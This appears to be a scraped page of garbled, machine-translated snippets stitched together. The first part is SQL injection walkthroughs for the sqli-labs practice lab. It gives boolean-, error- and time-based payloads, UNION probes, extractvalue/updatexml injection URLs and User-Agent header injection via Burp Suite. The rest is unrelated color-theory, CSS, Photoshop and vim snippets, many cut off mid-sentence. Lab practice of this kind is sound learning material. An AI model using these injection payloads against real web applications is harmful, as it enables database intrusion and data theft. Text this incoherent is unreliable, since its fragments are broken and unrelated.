Tags: col ase sed order type ROM schema share AltFirst, Less-1 get-error based-single quotes-string ---Parameter:id (GET)Type:boolean-based BlindTitle:and boolean-based blind-where or HAVING clausePayload:id=1 ' and 4178=4178 and ' rrhn ' = ' rrhn --- --- Type:error-basedTitle:mysql >= 5.0 and Error-based-where, have, ORDER by or GROUP by clause (floor)Payload:id=1 ' and (select 1743 from (select COUNT (*), CONCAT (0x717a707871, (Select (ELT (1743=1743,1))), 0x717a7a7071, Floor (RAND (0) *)
This time, username and password all have input checks.However, IP and uagent are not verifiedWhen we use Admin admin login successful, will be an INSERT statementBecause the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.Packet interception/modification using BurpsuiteModify the User-agent field, add a single quotation markuser-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) gecko/20100
Tags: sel use nbsp database nts Akka Lin injection wordFirst determine the number of fields Payload statement: admin ' ORDER by 2-s
Normal display so the number of fields is greater than or equal to 2 Payload statement: admin ' ORDER by 3-s Show Location field, combined with the preceding so the number of fields is 2 Construct UNION query statement payload Discovery display bit Display bit as Payload:adm ' Union Select 1,2-s Inject query current user and current database Payload:
This level allows me to learn1. How to manage him, try to let SQL error first. Constructs the SQL injection statement from the error.2. Single quotes do not come with double quotes. Brackets, and so on.This time the single quote didn't respond. In the future we will first black box test, really no longer look at the code.-1 responds, but no data.Try to get him to error. is struggling. It worked. Do not mind to look at the source of a bit. Otherwise it's really bad.Tested a lot of wayshttp//127.0
/?id=1 ' and Extractvalue (1,concat (0x7e, (select @ @version), 0x7e))--+Http://127.0.0.1/sqllib/Less-5/?id=1 ' and Updatexml (1,concat (0x7e, (select @ @version), 0x7e), 1)--+Take advantage of the repeatability of dataHttp://127.0.0.1/sqllib/Less-5/?id=1 ' Union select Name_const from (Version (), 1), Name_const (version (), 1 )) x--+
Delay injectionInjection using the sleep () functionHttp://127.0.0.1/sqllib/Less-5/?id=1 ' and If (ASCII (substr (Database (),)) =115,1,sleep (5))--+There is a
data for the application to perform other functions and respond to the client request.3. The hacker sends a second request data message to the server that is not the same as the first time.4. When the server receives a second request from the hacker, in order to process the request, the server queries the data stored in the database and processes it, causing the SQL statements or commands that the hacker constructs in the first request to execute in the server environment.5. When the server ret
character injection. 48th Pass: This is not an error message, using the above-mentioned blind can be. 49th Pass:The page does not change, using time-based blinds. 50th Pass: Similar to the 48-pass, except that the Execute SQL statement uses the Mysqli_multi_query () function, which executes multiple SQL statements, so Stack injection can be used after order by, integral type 51st Pass: Stack injection can be used after order by, character type 52nd Pass: Similar to the 49th level, the use
Yes, we know: we can set its width for border, the width of this border can be 5px, but 10px, can be 20px, can be random values.
But have you ever imagined that you could set a color for each 1px of border individually? What is this concept? That is, if you set a 10px border for an element, then the 10px border area, you can set 10 colors for it. Each 1px is a heavy (one group). DEMO:CSS3 border-colors Mul
This tutorial focuses on the optional color commands in the studio palette, which is originally used to print a method of restoring scan separations, which is used to change the number of process colors in each primary primary color component of the image. Since the optional color can selectively modify the number of printing colors in any major color without affecting other major
The contrast between different colors can have different effects, when 2 kinds of colors together, these 2 colors to their own extremes, such as red and green contrast, red more red, green greener, black and white contrast, black more black, white more white. The effect of contrast is usually different because of the difference in human vision, When people look a
(i) three-color principle
In the physics class in the middle school we may have done the prism test, the white light through the prism is decomposed into a variety of color gradually transition of the color spectrum, the color is red, orange, yellow, green, green, blue, purple, this is the visible spectrum. One of the eyes of red, green, blue is the most sensitive, human eyes like a three-color receiver system, most of the color can be red, green, blue three
dreamweaver| Tutorials | site in Dreamweaver4, you can store your own set of pictures, links, flash movies, color tables, templates and so on, composed of this site's assets, this is the assets Panel! When we define a site, all of the above types of elements within this site will automatically be sorted in the assets panel display. At the same time, we can also define our favorite elements for this site, so that at any time to take out the use.
Now we click Window > Assets. Or press the F11 key
Color three primary colors principle and color vision:
Basic colors that cannot be blended by any other color are called primary colors. The inside of the human eye has cone-shaped cells, can feel the red, green and blue, although the eyeball is not to red, green, the feeling of the Blues is the strongest, but can feel the widest frequency, can also independentl
The color of web pages is one of the keys to building a website image. color matching is a headache for netizens. The background, text, icon, border, hyperlink... of a webpage, what colors should be used, and what colors should be used to best express the expected connotation? Alibaba Cloud is here to talk about some experiences and hope to inspire you.
First, let's take a look at some basic color knowledge
First try to use CD ~/.vim to enter the. Vim folderIf not, create a mkdir ~/.VMThen create the colors after entering the. Vim folderInput instruction mkdir Colorsthen enter the instructions.git clone git://github.com/altercation/vim-colors-solarized.git CP vim-colors-solarized/ Colors/solarized.vim ~/.vim/
One of the most effective ways to reduce the size of the image to shorten the download time is to reduce the number of colors used in the image. This can significantly reduce the quality of some photographic images, but it is ideal for most banners, buttons, and other icons.
In Paint Shop Pro, you can choose Image/decrease color Depth and choose a specific color reduction option (most image editing software has similar options). If the color of the i
Spot colors are special premixed dusk used to replace or supplement process-color (CMYK) inks. Each spot color requires a special printing plate when it is printed. (Because printing si cho ink oil also requires a separate plate, it is also considered a spot color.) )
Assign a spot color to the image in the following ways:
· To apply a spot color as a hue to the entire image, convert the image to Duotone mode and apply a spot color to one of the d
We are close to the end of this series of articles. I discussed grey with you and some examples of web design using grey. This week, let's be more "black" some and focus on black. Like Gray, Black provides a near-neutral background, which allows other colors in the design to be highlighted. Many photographic sites use a black background to make photos available in the center of the stage.
Black is a very powerful color. It can be very solemn and eleg
High-grade colors have low color purity, brightness, and saturation. But it is not the root cause that makes them look upscale.The correct answer is:
The reason why some colors seem to be high-end is that the colors present little emotion.
To reduce the color saturation is to reduce and reduce the effect of color on human emotions. So it looks a little upscale.
L
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